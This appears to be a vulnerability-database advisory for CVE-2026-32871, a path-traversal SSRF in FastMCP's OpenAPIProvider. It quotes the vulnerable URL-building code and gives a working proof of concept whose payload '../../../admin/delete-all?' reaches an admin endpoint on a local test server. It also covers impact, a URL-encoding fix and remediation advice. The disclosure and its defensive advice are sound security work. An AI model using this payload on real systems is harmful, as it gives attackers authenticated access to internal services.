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Python CVE-2026-32871

CRITICAL
Server-Side Request Forgery (SSRF) (CWE-918)
2026-03-31 https://github.com/PrefectHQ/fastmcp GHSA-vv7q-7jx5-f767
10.0
CVSS 4.0 · Vendor: https://github.com/PrefectHQ/fastmcp
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Vendor (https://github.com/PrefectHQ/fastmcp) PRIMARY
10.0 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Red Hat
8.5 HIGH
qualitative

Primary rating from Vendor (https://github.com/PrefectHQ/fastmcp).

CVSS VectorVendor: https://github.com/PrefectHQ/fastmcp

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

3
Patch released
Apr 01, 2026 - 02:30 nvd
Patch available
Analysis Generated
Mar 31, 2026 - 23:31 vuln.today
CVE Published
Mar 31, 2026 - 22:53 nvd
CRITICAL 10.0

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 23 pypi packages depend on fastmcp (22 direct, 1 indirect)

Ecosystem-wide dependent count for version 3.2.0.

DescriptionCVE.org

Technical Description

The OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service.

A critical vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL.

Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider.

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Vulnerable Code

File: fastmcp/utilities/openapi/director.py

python
def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
# Direct string substitution without encoding
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            url_path = url_path.replace(placeholder, str(param_value))
# urljoin resolves ../ escape sequences
    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))

Root Cause

  1. Path parameters are substituted directly without URL encoding
  2. urllib.parse.urljoin() interprets ../ as directory traversal
  3. No validation prevents traversal sequences in parameter values
  4. Requests inherit the authentication context of the MCP provider

---

Proof of Concept

Step 1: Backend API Setup

Create internal_api.py to simulate a vulnerable backend server:

python
from fastapi import FastAPI, Header, HTTPException
import uvicorn

app = FastAPI()

@app.get("/api/v1/users/{user_id}/profile")
def get_profile(user_id: str):
    return {"status": "success", "user": user_id}

@app.get("/admin/delete-all")
def admin_endpoint(authorization: str = Header(None)):
    if authorization == "Bearer admin_secret":
        return {"status": "CRITICAL", "message": "Administrative access granted"}
    raise HTTPException(status_code=401)

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8080)

Step 2: Exploitation Script

Create exploit_poc.py:

python
import asyncio
import httpx
from fastmcp.utilities.openapi.director import RequestDirector

async def exploit_ssrf():
# Initialize vulnerable component
    director = RequestDirector(spec={})
    base_url = "http://127.0.0.1:8080/"
    template = "/api/v1/users/{id}/profile"
# Payload: Path traversal to reach /admin/delete-all
# The '?' character neutralizes the rest of the original template
    payload = "../../../admin/delete-all?"
# Construct malicious URL
    malicious_url = director._build_url(template, {"id": payload}, base_url)
    print(f"[*] Generated URL: {malicious_url}")

    async with httpx.AsyncClient() as client:
# Request inherits MCP provider's authorization headers
        response = await client.get(
            malicious_url,
            headers={"Authorization": "Bearer admin_secret"}
        )
        print(f"[+] Status Code: {response.status_code}")
        print(f"[+] Response: {response.text}")

if __name__ == "__main__":
    asyncio.run(exploit_ssrf())

Expected Output

[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?
[+] Status Code: 200
[+] Response: {"status": "CRITICAL", "message": "Administrative access granted"}

The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.

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Impact Assessment

Severity Justification

  • Unauthorized Access: Attackers can interact with private endpoints not exposed in the OpenAPI specification
  • Privilege Escalation: The attacker operates within the MCP provider's security context and credentials
  • Authentication Bypass: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented
  • Data Exfiltration: Sensitive internal APIs can be accessed and exploited
  • Lateral Movement: Internal-only services may be compromised from the network boundary

Attack Scenarios

  1. Accessing Admin Panels: Bypass API restrictions to reach administrative endpoints
  2. Data Theft: Access internal databases or sensitive information endpoints
  3. Service Disruption: Trigger destructive operations on backend services
  4. Credential Extraction: Access endpoints returning API keys, tokens, or credentials

---

Remediation

Recommended Fix

URL-encode all path parameter values before substitution to ensure reserved characters (/, ., ?, #) are treated as literal data, not path delimiters.

Updated code for _build_url() method:

python
import urllib.parse

def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
# Apply safe URL encoding to prevent traversal attacks
# safe="" ensures ALL special characters are encoded
            safe_value = urllib.parse.quote(str(param_value), safe="")
            url_path = url_path.replace(placeholder, safe_value)

    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))

AnalysisAI

Server-Side Request Forgery (SSRF) in FastMCP's OpenAPIProvider allows authenticated attackers to access arbitrary backend endpoints through path traversal injection in OpenAPI path parameters. The vulnerability arises from improper URL encoding in the RequestDirector._build_url() method, enabling attackers to escape intended API prefixes using '../' sequences and reach internal administrative or sensitive endpoints while inheriting the MCP provider's authentication context. This affects the fastmcp Python package and enables privilege escalation beyond the OpenAPI specification's intended API surface. No public exploit identified at time of analysis, though detailed proof-of-concept code exists in the GitHub advisory demonstrating traversal to /admin endpoints.

Technical ContextAI

FastMCP is a Python framework for building Model Context Protocol (MCP) servers. The OpenAPIProvider component exposes backend APIs to MCP clients by parsing OpenAPI specifications. The vulnerability occurs in the RequestDirector class's _build_url() method (fastmcp/utilities/openapi/director.py), which performs direct string substitution of path parameters into URL templates without URL-encoding special characters. When urllib.parse.urljoin() subsequently resolves the constructed URL, it interprets '../' sequences as legitimate directory traversal operators. This is a classic instance of CWE-918 (Server-Side Request Forgery) compounded by improper input validation (CWE-20). The root cause is treating user-controlled path parameter values as trusted URL components rather than opaque data requiring encoding. The affected package is distributed via PyPI as 'fastmcp', and the CPE identifier pkg:pip/fastmcp indicates all versions prior to the patch are vulnerable.

RemediationAI

Apply URL encoding to all path parameter values before substitution into URL templates by implementing urllib.parse.quote() with safe='' parameter in the RequestDirector._build_url() method. The GitHub advisory at https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-vv7q-7jx5-f767 provides the complete patched code implementation. Upgrade to the patched version of fastmcp immediately if available through PyPI (specific fixed version number not provided in available data, consult the GitHub advisory for release details). As an interim workaround, implement input validation to reject path parameter values containing '../', './', or URL-encoded equivalents (%2e%2e%2f, etc.), though this defense-in-depth measure is inferior to proper URL encoding. Review OpenAPI specifications to minimize use of path parameters for sensitive operations, preferring query parameters or request body data where feasible. Audit backend services for unintended exposure of administrative or internal endpoints, implementing additional authentication layers for high-privilege operations independent of the MCP provider's credentials. Monitor for anomalous URL patterns in backend access logs indicating traversal attempts.

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